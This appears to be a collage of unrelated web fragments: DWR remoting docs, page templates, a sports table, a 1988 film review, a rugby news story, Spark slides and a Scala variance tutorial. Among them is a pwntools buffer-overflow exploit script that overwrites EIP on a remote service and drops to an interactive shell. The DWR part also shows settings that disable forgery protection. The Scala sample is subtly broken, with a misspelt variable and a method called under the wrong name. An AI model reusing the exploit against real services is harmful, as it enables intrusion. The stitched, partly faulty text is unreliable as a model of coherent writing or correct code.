ScriptTag remoting is useful when using DWR cross-domain. It is strongly recommended to ONLY use this system if you really need to. DWR protects you from a number of security attacks unless you are using it in cross-domain mode. As a general rule you should only use cross-domain scripting for totally public services.
To use script tag remoting, 2 bits of set-up are required - you need to configure the server to allow cross-domain requests, and to tell the client where the services are located.
To allow cross-domain script tag requests you need to add the following incantation to web.xml:
<init-param> <param-name>allowGetForSafariButMakeForgeryEasier</param-name> <param-value>true</param-value> </init-param> <init-param> <param-name>crossDomainSessionSecurity</param-name> <param-value>false</param-value> </init-param> <init-param> <param-name>allowScriptTagRemoting</param-name> <param-value>true</param-value> </init-param>
To configure the client where to send cross-domain requests, set the ._path
variable for the remote interface in question:
Remote._path = 'http://otherdomain.com/webapp/dwr'; Remote.someFunction();
Cross-domain remoting may not work properly with reverse ajax.
This allows you to select between POST and GET, for both iframe and XMLHttpRequest methods. Some browsers (e.g. older versions of Safari) do not support XHR-POST so DWR will automatically switch to GET even if the POST verb is selected. So setHttpVerb()
ought to be treated as a hint only. In DWR 1.0 this was called setVerb()
.
In version 3.0 (under development) this option is removed because the number of cases where DWR would override this setting was increasing and it was felt that it was giving the impression that it was more than just a hint. If you really need to default to GET rather than POST you can do the following: dwr.engine.transport.xhr.httpMethod = 'GET';
(Note this is for version 3.0 and above only)
Setting the verb is not supported when using ScriptTag remoting.
For example, to set the remoting verb on a global level:
dwr.engine.setHttpVerb("GET");
Or to set it on a call level:
Remote.method(params, { callback:function(data) { ... }, httpVerb:"GET" });
Or to set it on a batch level:
dwr.engine.beginBatch(); Remote.method1(params, callback1); Remote.method2(params, callback2); dwr.engine.endBatch({ httpVerb:"GET" });


{{ talktoUs.description }}
{{ talktoUs.content1 }}
{{ talktoUs.content2 }}
{{ talktoUs.content3 }}
|
Fire |
Crash |
Emergency Call |
Response Team |
{{ talktoUs.content4 }}
{{ talktoUs.emergencycall }}{{ talktoUs.content5 }}
|
Services |
Billing |
Water |
Environment Issue |
reach us {{talktoUs.callcenter}}


{% extends "base.html" %} {% comment %} Copyright (c) 2011 Stanford University Permission to use, copy, modify, and distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies.  IN NO EVENT SHALL AUTHORS BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. This is the template for the home page. {% endcomment %} {% block title %}Home{% endblock %} {% block head %} {% endblock %} {% block content %}


He has had an explosive career ever since his first game in the NBA.
Listed below is some of the noteworthy Achievements he has been recognized for
and yet as fans, you can expect more to come.
| Achievement | Year |
|---|---|
| NBA Most Valuable Player (MVP) | 09',10',12',13' (4) |
| NBA All-Star | 05'-17' (13) |
| NBA Rookie of the Year | 04' (1) |
| Best NBA Player (ESPY) | 07,09',12',13',16',17' (6) |
| Olympic Gold Medalist | 08',12' (2) |
| Youngest Player to score 40+ in single game | 04' |
| Youngest Player to reach 1000 points | Age 20, 04' |
| Youngest Player to recieve NBA First Team Honours | Age 21, 05 |


Info
About
This website is in development. We hope to be able to grow enough to have hundreds of choices of fine watches for sale all in one place. For now however, we have a modest selection on quality watches that cove many different interests, from superheros to Star Wars.
Contact Info
Email<EMAIL_ADDRESS>Phone Contact: N/A
Frequently Asked Questions
1. Are these watches made buy you?
No, this website is a collaborative effort, many of the watches on this site can be bought off site.
2. What are your long term goals?
We hope to be able to grow enough to have hundreds of choices of fine watches for sale all in one place, we want to be able to work with many creators to give people exactly what they want.
3. When will this site start to grow?
This site start to grow when we get the support we need to work with other creators.


Fancam SuperM “Jopping” in Fort Worth, TX
by BTSARMY34342SuperM’s first leg of their “We Are The Future” tour kicked off in Fort Worth, TX on November 11, 2019. Performing hits from their album as well as a few individual acts, SuperM proved that they may just be the Avengers of Kpop after all.
SuperM closed their show with their title song, “Jopping”.


There's nothing here. Perhaps you’ve followed a dead link or typed the URL incorrectly.
Don’t worry about it. Let’s go home.


#using pwn tools
from pwn import *
# Set Basic Junk
context(os="linux", arch="i386")
HOST, PORT = "<IP_ADDRESS>", "7411"
# Junk to get to EIP Overwrite
junk = "\xCC"*28 #\xCC tells gdb to immediately break if it ever starts to exec- #alows for much easier debugging and control flow
# Memory Address Leaked from application
mem = p32(0xffebb890+32) #don't need to flip for little endian because p32()- #adding 32 because len(junk)=28,+4, in order to get to our Buff. Or pick a different/closer address, or NOP sled, etc, etc. This address was given to us via the prog automatically)
# Shellcode to execute AKA Place socket reuse shellcode here
# OR
# Place custom shellcode here (recommended to use socket reuse shellcode though)
buf = ""
# Connect to Host
p = remote(HOST, PORT)
p.recvuntil("OK Ready. Send USER command.")
p.sendline("DEBUG")
p.recvuntil("OK DEBUG mode on.")
p.sendline("USER admin")
p.recvuntil("OK Send PASS command.")
p.sendline("PASS " + junk + mem + buf)
p.interactive() #drop to interactive


The protocol used for getting a screenshot is shown below. For information on packet formats, click here.
| Step | Direction | Packet | ||
|---|---|---|---|---|
|
|
|
|
|
SCR |
|
|
|
ACK | ||
|
|
|
DATA - Format described below. | ||
|
|
|
ACK |
The data packet contains a 3840-byte monochrome bitmap (1 bit per pixel). Each bit has a value of 1 if the corresponding pixel is dark or a value of 0 if the corresponding pixel is light.
The pixel order is left-to-right, then top-to-bottom (See figure
below).
Byte 0 defines the first 8 pixels in the left side of the top row of
the screen. Bytes 1-29 define the rest of the first row, bytes 30-59
define
the second row, etc.
Example:
| PC: | 08 6D 00 00 | Screenshot request |
| TI: | 98 56 00 00 | Acknowledgement of request |
| 98 15 00 0F <3840 bytes plus 2 byte checksum> | Screen data | |
| PC: | 08 56 00 00 | Acknowledgement of data |
The following figure demonstrates byte ordering of the pixels if the bitmap is in a 3840-element array data[]:
Remark: contrary to the TI92/92+ calculator, only the 160x100 upper rectangle is visible on the TI89. The remaining bytes are usable (in assembler for instance) but they are not visible. So, a clipping is necessary once the screenshot have been got.
Note that this format is different from the standard Windows bitmap
format, which specifies a value of 1 if the pixel is light and
bottom-to-top
row order.
|
Packet Formats |
Table of Contents |
Manual Transfers |


# extends 'base.html' # block content # include 'bit/popup_loginform_follow.html'
{% set q = "recommender=" ~ recommender_db.name_lower %} {% set q = "recommender=" ~ recommender_db.name %} SEE ALL SPOTS BY {{title}}
{{recommender_db.bio}}
{{recommender_db.website_url}}


SOMEONE TO LOVE A Film Review by Manavendra K. Thakur Copyright 1988 by Manavendra K. Thakur and The Tech Reproduced with permission.
1987 108 mins. United States English Unrated Mono Color 35mm/1.85
Cast: Orson Welles, Henry Jaglom, Andrea Marcovicci, Michael Emil, Sally Kellerman, Oja Kodar, Stephen Bishop, Dave Frishberg, Geraldine Baron, Ronee Blakely, Barbara Flood, Pamela Goldblum, Robert Hallak, Kathryn Harrold, Monte Hellman, Jeremy Kagan, Michael Kaye, Miles Kreuger, Amnon Meskin, Sunny Meyer, Peter Rafelson, Ora Rubens, Katherine Wallach.
Credits: Written and Directed by Henry Jaglom. Produced by M. H. Simonsons. Associate Producer: Judith Wolinksky. Director of Photography: Hanania Baer. Sound: Sunny Meyer. Assistant Editor: Ruth Wald. Songs by Diane Bulgarelli, Stephen Bishop, Dave Frishberg, and Jerome Kern & Ira Gershwin.
Studio: Jagfilm Distributor: International Rainbow Pictures / Castle Hill Prods. 9165 Sunset Boulevard 1414 Avenue of the Americas Los Angeles, CA 90069 New York, NY 10019<PHONE_NUMBER><PHONE_NUMBER>
Henry Jaglom has remained outside the Hollywood mainstream for more than a decade and a half, and he's quite proud of his role as a maverick. A close friend of Orson Welles, Jaglom has written and directed seven films since 1970, each costing less than $1 million. He has insisted on total artistic control over them all, looking inward for the source material of his films. For example, his 1985 film ALWAYS examined his divorce from actress Patrice Townsend and was shot entirely in the house they had shared. Whenever a filmmaker (and artists in general) focus on themselves in this manner, they typically find themselves accused of wallowing in self-indulgence. This sort of criticism doesn't faze Jaglom. "To get something of universal value," Jaglom said in a telephone conversation, "you have to focus on one specific issue" rather than appealing to the lowest common denominator. Of course, the issue Jaglom is most familiar with is himself.
He has creatively used his independence once again in SOMEONE TO LOVE. In it, he raises the question of why people are lonely, especially on that most romantic of holidays, Valentine's Day. Of course, Jaglom is a filmmaker and not a sociologist or philosopher, and so he doesn't have any real answers to this profoundly human question. Given that reality, Jaglom said that he knew from the start that "I would paint myself into a corner." Therefore, Jaglom asked Orson Welles to put things in "historical perspective" and to impart his considerable wisdom and experience not only in filmic matters but in the tricky ground of love and interpersonal relationships.
The film begins, appropriately enough, with a few choice words from Welles. Then it quickly shifts to Danny (Jaglom) and Helen (Andrea Marcovicci, with whom Jaglom has spent most of the past five years with in real life) getting ready to go to sleep. Helen, who has just gotten used to sleeping alone after the painful breakup of her previous relationship, tells Danny that she won't be able to go to sleep if he remains inside her house. This arouses Danny's curiosity, and he sends out telegrams to his show business friends to gather on Valentine's Day at a beautiful theater in Santa Monica (the Mayfair Theater) that is about to be replaced by a shopping mall. Danny, a filmmaker, figures that he might get some interesting footage, and at the very least he will be able to introduce his brother Mickey (Michael Emil, Jaglom's brother in real life) to some romantic companions.
When Valentine's Day arrives, Danny's friends arrive expecting a party but find themselves talking about themselves and their loneliness into the handheld Arriflex cameras run by the film crew Danny has brought along. One soon realizes that all the actors in Danny's film are in fact thinly disguised versions of the actors in Jaglom's film. And Danny the filmmaker is really Jaglom the filmmaker, while Welles (listed as "Danny's Friend" in the credits) is, of course, himself. These dichotomies becomes more and more unified as the film goes on, until it is nearly impossible to distinguish between actor and character.
This sort of "interview" filmmaking can be traced to the Brechtian and Godardian technique of having actors interrupt the narrative flow to comment on their perceptions of what their character is doing and why. And indeed, Jaglom cites as his primary influences the great filmmakers of the 1960s -- Bergman, Fellini, Godard, Truffaut. Although the film has a somewhat documentary feel to it, Jaglom says he has not been influenced by the cinema verite movement, as epitomized by Frederick Wiseman. Instead, he likes the label that some critics have given his works, "emotional verite."
Given the close relationship between Danny's film and Jaglom's film, one can't help but wonder how SOMEONE TO LOVE was constructed. Did Jaglom notify his actors about his plans? Or did he pull a trick similar to the one Danny pulls for his film? In reply, Jaglom simply says that SOMEONE TO LOVE reflects his general filmmaking technique. He mentions that he scripts thorough guidelines for his actors but lets the actors fill in the actual phrasing of dialogue. Jaglom says that he likes to "go with the emotion that's going on" during the shoot. When shooting is complete, Jaglom retreats to the editing room for several months where he "reinvents" the film, melding the disparate elements into an evolving whole.
The result of this process doesn't always seem to work, and indeed, SOMEONE TO LOVE is more interesting for Jaglom's (and Welles') ideas on filmmaking than as illumination on romance. Jaglom's favorite quotation is one from Orson Welles: "The enemy of art is the absence of limitations." In principle, this is entirely accurate; the great film artists are the ones who have transcended barriers -- both human and technical -- to arrive at new forms of expression of their ideas. Many of these great filmmakers, especially those hampered by official condemnation or censorship, have had to struggle mightily for the opportunity to create their art. In Jaglom's case, however, the barriers he overcomes are not intrinsic ones to the medium of film. By definition, film is a technological art form, and Jaglom will be the first to admit he has done nothing to advance the technical state of filmic art. Asked why he then employs the medium of film instead of, say, books or stage plays, Jaglom replies that he prefers the basic tools of the cinema because they give him access to closeups, sound manipulations, and editing. Jaglom says he decided not to use television or video, which offer similar advantages, because cinema has a "different feel," at least for now. He stresses that for him (as opposed to Spielberg or Lucas), technology must always be used to stimulate minds about humans and humanity.
Even on the human side, though, it's not that easy to identify or relate to Danny, who seems to have swallowed completely the veneer of dazzling romance put forth by countless Hollywood movies.  Given that most real life relationships don't even come close to enjoying the grandeur on display in most movie romances, it's no wonder that Danny feels something is wrong. Danny, though, doesn't seem able to trace his problem back to his premise, and he just sticks microphones in people's faces and continues asking questions, looking more and more foolish as he goes along.
But this usual sort of criticism is misplaced here because Jaglom is quite consciously portraying Danny as a lovable buffoon. It has almost become a Jaglom trademark for his character to simultaneously be a protagonist and an anti-egotist. As mentioned above, Jaglom knew from the beginning that his project would not work without Welles. It takes Danny a bit longer to come to the same conclusion while shooting his film. Finally, around the end of the fourth reel, Danny throws his hands up in the air and mutters, "It's not going to work. It doesn't work." And that's when Danny/Jaglom bring Welles in again to offer his wisdom. Viewers may condemn Jaglom for self-indulgence, but no one can possibly accuse him of being arrogant or self-serving.
By playing a filmmaker making a film which is essentially the same film that viewers are seeing, Jaglom succeeds on two fronts. First, he manages to raise some basic questions about people as simple, living, human, beings. Second, he then steps back and encourages the characters in the film, as well as the members of the audience itself, to ponder and think for themselves what appropriate responses there may be to Jaglom's questions. Because there is no bearded saint dispensing wisdom from a mountaintop in this film -- Welles doesn't, count, despite the fact that he is indeed bearded and wearing a long flowing wine-colored robe; he can only gently guide viewers with his advice, because he too doesn't have any magic answers -- there is no hope of being spoon-fed with ready made solutions. The actors and actresses in Danny's film rise to the challenge: they think *for themselves* about loneliness and pour forth a rush of diverse answers, as diverse as the actors themselves. What emerges of value is not only the specific answers; in addition, it is the emotional and intellectual processes by which Danny's friends derive their answers that is also important. Danny/Jaglom has recognized, perhaps subconsciously, that methods often get lost in the perpetual craving for predigested results, and it is exactly that realization which SOMEONE TO LOVE is trying to convey to its viewers, at least to the viewers who remain until the end.
This sort of reflexive filmmaking is rare, of course, and it certainly is removed from the common assumptions of conventional cinema. (Only two films in recent memory have similarly linked filmmakers, actors, and viewers together, one being GIRLTALK and the other a 14-1/2 hour marathon on nuclear war called THE JOURNEY.) This separation from the mainstream is hardly a weakness. Rather, it emphasizes and affirms that Jaglom is one of the endangered species of American cinema. He is a serious and dedicated film artist who refuses to pander to the box office, and he has consistently declined offers to direct big budget films in order to persevere and preserve his integrity. His themes are by no means revolutionary, and his simple cinematic style couldn't be more different from the highly technical art of Orson Welles or Stanley Kubrick's 2001: A SPACE ODYSSEY (1968). But Jaglom has adopted these and other filmmakers' visionary outlook on the potentials of filmic art and turned it inward to make highly personal and intimately human films. Like the actors and actresses in Danny's film, viewers and up-and-coming filmmakers would do well to experience the subtle methodology underlying and enriching Jaglom's SOMEONE TO LOVE.
Directorial filmography of Henry Jaglom:
A SAFE PLACE 1971 94 mins. TRACKS 1976 104 mins. SITTING DUCKS 1980 90 mins. CAN SHE BAKE A CHERRY PIE? 1983 90 mins. ALWAYS 1985 105 mins. SOMEONE TO LOVE 1987 108 mins.
Orson Welles once said that Henry Jaglom's films have "no cute little space creatures, no chases, no rapes, no murders." And it's true. His latest film, NEW YEAR'S DAY, will be released this coming winter. Currently he is shooting a film in Los Angeles called EATING, which will focus on "women and their obsessions with food." He has also recently established the Women's Film Company as a subsidiary of his International Rainbow Pictures to produce "low-budget, hopefully high-quality, human stories" by women directors.
Manavendra K. Thakur {rutgers,decvax!genrad,uunet}!mit-eddie!thakur<EMAIL_ADDRESS><EMAIL_ADDRESS>The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


--- prev_page: '/index.html' next_page: '/tutorial/tutorial_intro.html' --- {% raw %}
# HIDDEN
# Clear previously defined variables
%reset -f
nbinteract
aims to enable authors and educators to easily create and share interactive web pages.
Interactive explanations of concepts are useful for communicating and explaining tricky concepts. Consider these explanations for linear regression and conditional probability, for example.
However, making an interactive webpage often requires significant knowledge of web technologies and especially Javascript. While Jupyter widgets allow authors to generate interactive interfaces directly in a Jupyter notebook, sharing these demos typically requires readers to run the notebook. This causes issues when the reader's computer lacks (correct versions of) the packages needed to completely run the notebook.
nbinteract
provides a single binary that converts Jupyter notebooks into HTML pages. The resulting HTML pages can be shared with the public, keeping any interactivity created using Jupyter widgets. For example, the interactive parts of this website are entirely generated from notebooks using nbinteract
.
In addition, nbinteract
provides a Python package. Once imported, nbinteract
provides helper methods that allow users to create simple interactive visualizations with single function calls.


Title
This is a test of the "titlepage" property
This is to test the "copyrightpage" property.
This section should appear as
This is to test the "series" property.
This is a series.
- Book 1
- Book 2
- Book 3
This is to test the "acknowledgements" property.
Bacon ipsum dolor amet ball tip jerky meatball bresaola beef ribs.
This is to test the "imprint" property
This is a test book.
This is to test the "imprimatur" property
This is a test.
This is to test the "contributors" property
These are contributors:
- Test
- Test
- Test
This is to test the "other-credits" property
This is a test.
This is to test the "dedication" property.
This is to test the "revision-history" property.
- Revision 1
- Revision 2
- Revision 3


Calico Critters Beagle Dog Family
Calico Critters Biography Information
Mother, Prunella is famous for the delicious desserts she makes. Her specialties include blueberry pie and cheesecake. On Sunday, she likes to make a big surprise cake and invite all children in CLoverleaf Corners to stop by the bakery and have a bite.
Father, Percy is the Master Baker in Cloverleaf Corners. He gets up very early in the morning to have fresh croissnts ready just in time for breakfast. In the evening, he often snoozes in front of the TV until his wife tells him it's time to go to bed.
Brother, Harold likes to run around and play with the boys. He is always quick to learn a new game and is set on winning every time. If he has to lose, he likes to put on a careless air and pretend as if nothing happened.
Sister, Antonia likes all things pretty. When someone orders a special cake for a birthday or wedding, she is the one to decorate it with icing, berries, and chocolate. She loves flowers and butterflies and her room is filled with all kinds of knick-knacks and souvenirs.


class RefCountDelegate
RefCountDelegate(releaseCallback: Runnable)
fun release(): Unit
fun retain(): Unit


This test passes if this text changes size due to autosizing after a dynamic window size change occurs. I'm just adding lines so this text is long enough to autosize. I'm just adding lines so this text is long enough to autosize. I'm just adding lines so this text is long enough to autosize. I'm just adding lines so this text is long enough to autosize. I'm just adding lines so this text is long enough to autosize. I'm just adding lines so this text is long enough to autosize.


The TClipper object is used to perform boolean 'clipping' operations (intersection, union, difference and xor) on polygons. There are no restrictions on either the number nor the type of polygon that can be clipped. Polygons can have holes, be self-intersecting and even have coincident edges.
| Example |
|---|
uses GR32, GR32_Clipper; ... var i: integer; subj, clip, solution: TArrayOfArrayOfFloatPoint; begin setlength(subj, 2); setlength(subj[0], 4); subj[0][0] := FloatPoint(180,200); subj[0][1] := FloatPoint(260,200); subj[0][2] := FloatPoint(260,150); subj[0][3] := FloatPoint(180,150); setlength(subj[1], 3); subj[1][0] := FloatPoint(215,160); subj[1][1] := FloatPoint(230,190); subj[1][2] := FloatPoint(200,190); setlength(clip, 1); setlength(clip[0], 4); clip[0][0] := FloatPoint(190,210); clip[0][1] := FloatPoint(240,210); clip[0][2] := FloatPoint(240,130); clip[0][3] := FloatPoint(190,130); with TClipper.Create do try Add(subj, ptSubject); Add(clip, ptClip); Execute(ctIntersection, solution, pftNonZero, pftNonZero); finally free; end; //nb: DrawPolygons is a stub for your own polygon rendering code. DrawPolygons(subj, $160000FF, $600000FF); DrawPolygons(clip, $20FFFF00, $30FF0000); DrawPolygons(solution, $3000FF00, $FF006600); |


--- layout: post title: Intro to CSP excerpt: This a summory after watching screencast categories: - Clojure tags: - [CSP, Clojure] ---
Note: This is not my idea but just a summory after watching this timothy's screencast
(ns tbaldridge-clojure-lecture.intro-to-csp (:require [clojure.core.async :as a])) (comment (-> (create-frame) (add-body) (map add-tire (make-tire 5)) (add-engine) (ship-car)) )
threads the expr through the forms. Inserts x as the second item in the first form, making a list of it if it is not a list already. If there are more forms, inserts the first form as the second item in second form, etc. This code is from conj.io
(def c 5) (-> c (+ 3) (/ 2) (- 1)) (use 'clojure.walk) (macroexpand-all '(-> c (+ 3) (/ 2) (- 1))) ; => (- (/ (+ c 3) 2) 1)
(comment (create-frame) ;; each form is processes | V (add-body) | (make-tire 5) | | ;; faster , buffer size = 6000 V V (combine-tires-with-car) (combine-tires-with-car) ;; Use multiple processes for better performance | ;; slower V (add-engine) | ;; slower V (ship-car) )
(def c (a/chan)) (def a (a/chan)) (a/put! c "hello" (fn [_] (println "Done Sending"))) (a/take! c (fn [val] (println val)) (a/go (a/>! c "Hello") (a/>! c "World")) (a/go (println (a/<! c)) (println (a/<! c)))) ;; alt! is for fan-in and timeout to wait is available (println (a/alt! [c a (a/timeout 1000)]))
(defn buffer [from] (let [ret (a/chan)] (a/go (while true (a/>! ret (a/<! from)) ret)))) (def c (a/chan)) (def a (buffer c)) (def b (buffer a))


Basic Aggregation
(agg, groupBy and groupByKey)
Apache Spark 3.2 / Spark SQL
@jaceklaskowski
/
StackOverflow
/
GitHub
/
LinkedIn
The "Internals" Books:
books.japila.pl
## Agenda 1. [Aggregate Functions](#/aggregate-functions) 1. [agg Operator](#/agg-operator) 1. [Untyped groupBy Operator](#/groupBy-operator) 1. [Typed groupByKey Operator](#/groupByKey-operator) 1. [User-Defined Untyped Aggregate Functions (UDAFs)](#/udaf)
## Aggregate Functions 1. **Aggregate functions** accept a group of records as input * Unlike regular functions that act on a single record 1. Available among standard functions ```scala import org.apache.spark.sql.functions._ ``` 1. _Usual suspects_: **avg**, **collect_list**, **count**, **min**, **mean**, **sum** 1. You can create custom **user-defined aggregate functions (UDAFs)** 1. Read [functions object's scaladoc](http://spark.apache.org/docs/latest/api/scala/index.html#org.apache.spark.sql.functions$)
## agg Operator 1. **agg** applies an aggregate function to records in Dataset ```scala val ds = spark.range(10) ds.agg(sum('id) as "sum") ``` 1. Entire Dataset acts as a single group * **groupBy** used to define groups
(more in the following slide)
1. Creates DataFrame * …hence considered untyped due to **Row** inside * Typed variant available
(more in the following slide)
1. Switch to [The Internals of Spark SQL](https://books.japila.pl/spark-sql-internals/) * [Basic Aggregation — Typed and Untyped Grouping Operators](https://books.japila.pl/spark-sql-internals/basic-aggregation)
## Untyped groupBy Operator 1. **groupBy** groups records in Dataset per _discriminator function_ ``` val nums = spark.range(10) nums.groupBy('id % 2 as "group").agg(sum('id) as "sum") ``` 1. Creates **RelationalGroupedDataset** * Supports untyped, Row-based **agg** * Shortcuts for _the usual suspects_, e.g. **avg**, **count**, **max** * Supports **pivot** * Read [RelationalGroupedDataset's scaladoc](http://spark.apache.org/docs/latest/api/scala/index.html#org.apache.spark.sql.RelationalGroupedDataset)
## Typed groupByKey Operator 1. **groupByKey** similar to **groupBy** operator, but gives typed interface ```scala ds.groupByKey(_ % 2).reduceGroups(_ + _).show // compare to untyped query nums.groupBy('id % 2 as "group").agg(sum('id) as "sum") ``` 1. Creates **KeyValueGroupedDataset** * Supports typed **agg** * Shortcuts for _the usual suspects_, e.g. **reduceGroups**, **mapValues**, **mapGroups**, **flatMapGroups**, **cogroup** * Read [KeyValueGroupedDataset's scaladoc](http://spark.apache.org/docs/latest/api/scala/index.html#org.apache.spark.sql.KeyValueGroupedDataset)
## User-Defined Aggregate Functions (UDAFs) 1. [UserDefinedAggregateFunction](http://spark.apache.org/docs/latest/api/scala/index.html#org.apache.spark.sql.expressions.UserDefinedAggregateFunction) - the base class for implementing user-defined aggregate functions 1. Switch to [The Internals of Spark SQL](https://books.japila.pl/spark-sql-internals/) * [UserDefinedAggregateFunction — User-Defined Untyped Aggregate Functions (UDAFs)](https://books.japila.pl/spark-sql-internals/expressions/UserDefinedAggregateFunction)
## Recap 1. [Aggregate Functions](#/aggregate-functions) 1. [agg Operator](#/agg-operator) 1. [Untyped groupBy Operator](#/groupBy-operator) 1. [Typed groupByKey Operator](#/groupByKey-operator) 1. [User-Defined Aggregate Functions (UDAFs)](#/udaf)
# Questions? * Read [The Internals of Apache Spark](https://books.japila.pl/apache-spark-internals/) * Read [The Internals of Spark SQL](https://books.japila.pl/spark-sql-internals/) * Read [The Internals of Spark Structured Streaming](https://books.japila.pl/spark-structured-streaming-internals/) * Follow [@jaceklaskowski](https://twitter.com/jaceklaskowski) on twitter * Upvote [my questions and answers on StackOverflow](http://stackoverflow.com/users/1305344/jacek-laskowski)


You can use url string or use regex url. Use RegExp constructor -
link to more details Example of regex, new RegExp('regexUrl','g')
How to change Method?
Default is GET. You can make other selection from dropdown next to URL input.
Http Status Code
Use http status code -
list of codes
Allows only number.
Http Response
Select response provider from dropdown.
1. through text : You can write it in textarea.
2. through file : provide http file url (Ex. http://domain/file.text) or
local full path (Ex. C:/mock-responses/file.text)
Please make sure it's in correct form as it doesn't validate.


From a gravel pitch to glory: world champion Kolisi comes home
PORT ELIZABETH, South Africa: Rugby World Cup-winning captain Siya Kolisi returned to his South African roots Sunday (Nov 10), holding the trophy as an open-top bus crawled through the streets of a Port Elizabeth township.
It was in Zwide, 17 kilometres north of the coastal city, that the Springbok colossus first handled a rugby ball on a gravel, often wind-swept school sport field.
Port Elizabeth was the fourth leg of a national victory parade tour that began in Pretoria, Johannesburg and Soweto Thursday and continued in Durban and East London.
The celebrations of the 32-12 final victory over England in Japan last weekend will conclude Monday when the team drive through the streets of Cape Town, a rugby hotbed.
Among those who greeted Kolisi and his victorious teammates Sunday on a wet, windy day under a slate grey sky was Eric Songwiqi, a schoolteacher and first coach of the would-be Springbok.
"Siya handled a rugby ball for the first time on a gravel sports field at Emsengeni primary school in Zwide township," he told AFP.
"The boys would hurriedly eat their food during the school break, then ask me for the rugby ball so that they could play.
"I recall Siya being a small boy with thin legs, but strong. He oozed passion whenever he had the ball.
"I saw this diligent, well mannered and disciplined boy with great passion and enthusiasm for rugby and I knew he would go far.
"I am not surprised that he captains the Springboks. I could see leadership qualities in him even at the tender age of 12. He was focused."
Songwiqi said Kolisi, born to teenage parents in June 1991, loved rugby more than his school books.
"You could see the zeal and hunger even though it was on a rough, hard, gravel pitch," said the coach.
"I PLAYED A PART"
"I feel great that my product is doing well and the moment he lifted the William Webb Ellis trophy, I felt that I had played a part in the win."
Kolisi was spotted at a tournament when only 12 and won a scholarship to an elite Port Elizabeth school, where his rugby skills were honed.
After representing South Africa at under-20 level, he joined Cape Town-based Super Rugby team the Stormers and made his Springbok debut six years ago against Scotland in Nelspruit.
Last year, coach Rassie Erasmus took over a Springbok squad that had become an embarrassment, especially following a first loss to European rugby minnows Italy.
Among his first decisions was to make loose forward Kolisi the first black Test captain of the Springboks after 60 whites had skippered a team that excluded black players for 90 years.
The gamble appeared to have backfired when visiting England raced to a 21-point lead in Johannesburg in the first match of a three-Test series.
But Kolisi and his teammates did not panic, clawed back into contention with a string of tries and won a thriller 42-39.
South Africa won seven internationals and lost seven in 2018, but the groundwork had been laid for a dramatic improvement this year.
An ultimately convincing victory over pre-match favourites England in the World Cup final was the 10th in 12 matches this season.
Travelling to Port Elizabeth also marked a homecoming for Erasmus, who turned 47 this week. He was born in Despatch, a motor manufacturing town 30 kilometres northwest of Port Elizabeth.
Meanwhile, loose forward Francois Louw has become the second member of the Springbok squad to officially announce his retirement, after legendary prop Tendai 'The Beast' Mtawarira.
Known as 'Flo', the 34-year-old based in England was capped 76 times and came off the bench in the final.


The planet Lusitania is home to three sentient species: the Pequeninos; a large colony of humans; and the Hive Queen, brought there by Ender. But once again the human race has grown fearful; the Starways Congress has gathered a fleet to destroy Lusitania.
Jane, the evolved computer intelliegence, can save the three sentient races of Lusitania. She has learned how to move ships outside the universe, and then instantly back to a different world, abolishing the light-speed limit. But It takes all the processing power available to her, and the Starways Congress is shutting down the Net, world by world.
Soon Jane will not be able to move the ships. Ender’s children must save her if they are to save themselves.
Si Wang-mu stepped forward. The young man named Peter took her hand and led her into the starship. The door closed behind them.


MicroProfile Grafana Dashboard Generator
Beautify your demos
Directions: Paste output from
curl -X OPTIONS -H "Accept: application/json" http://localhost:8080/metrics
or try an example. Then generate it, copy to your clipboard and paste as a
new Grafana Dashboard!


Variance is the correlation of subtyping relationships of complex types and the subtyping relationships of their component types. Scala supports variance annotations of type parameters of generic classes, to allow them to be covariant, contravariant, or invariant if no annotations are used. The use of variance in the type system allows us to make intuitive connections between complex types, whereas the lack of variance can restrict the reuse of a class abstraction.
class Foo[+A] // A covariant class
class Bar[-A] // A contravariant class
class Baz[A] // An invariant class
Covariance
A type parameter `A` of a generic class can be made covariant by using the annotation `+A`. For some `class List[+A]`, making `A` covariant implies that for two types `A` and `B` where `A` is a subtype of `B`, then `List[A]` is a subtype of `List[B]`. This allows us to make very useful and intuitive subtyping relationships using generics.
Consider this simple class structure:
abstract class Animal {
def name: String
}
case class Cat(name: String, lives: Int = 7) extends Animal
case class Dog(name: String) extends Animal
Both `Cat` and `Dog` are subtypes of `Animal`. The Scala standard library has a generic immutable `sealed abstract class List[+A]` class, where the type parameter `A` is covariant. This means that a `List[Cat]` is a `List[Animal]` and a `List[Dog]` is also a `List[Animal]`. Intuitively, it makes sense that a list of cats and a list of dogs are each lists of animals, and you should be able to substitute either of them for a `List[Animal]`.
In the following example, the method `printAnimalNames` will accept a list of animals as an argument and print their names each on a new line. If `List[A]` were not covariant, the last two method calls would not compile, which would severely limit the usefulness of the `printAnimalNames` method.
def animalNames(animals: List[Animal]): String =
amimals.map(_.name).mkString(", ")
val cats = List(Cat("Whiskers"), Cat("Tom", 6))
printAnimalNames(cats)
val dogs = List(Dog("Fido"), Dog("Rex"))
printAnimalNames(dogs)
Contravariance
A type parameter `A` of a generic class can be made contravariant by using the annotation `-A`. This creates a subtyping relationship between the class and its type parameter that is similar, but opposite to what we get with covariance. That is, for some `class Writer[-A]`, making `A` contravariant implies that for two types `A` and `B` where `A` is a subtype of `B`, `Writer[B]` is a subtype of `Writer[A]`.
Consider the `Cat`, `Dog`, and `Animal` classes defined above for the following example:
abstract class Printer[-A] {
def print(value: A): String
}
A `Printer[A]` is a simple class that knows how to print out some type `A`. Let's define some subclasses for specific types:
class AnimalPrinter extends Printer[Animal] {
def print(animal: Animal): String =
s"The animal's name is: ${animal.name}"
}
class CatPrinter extends Printer[Cat] {
def print(cat: Cat): String =
s"The cat's name is: ${cat.name} and has ${cat.lives} live(s) left"
}
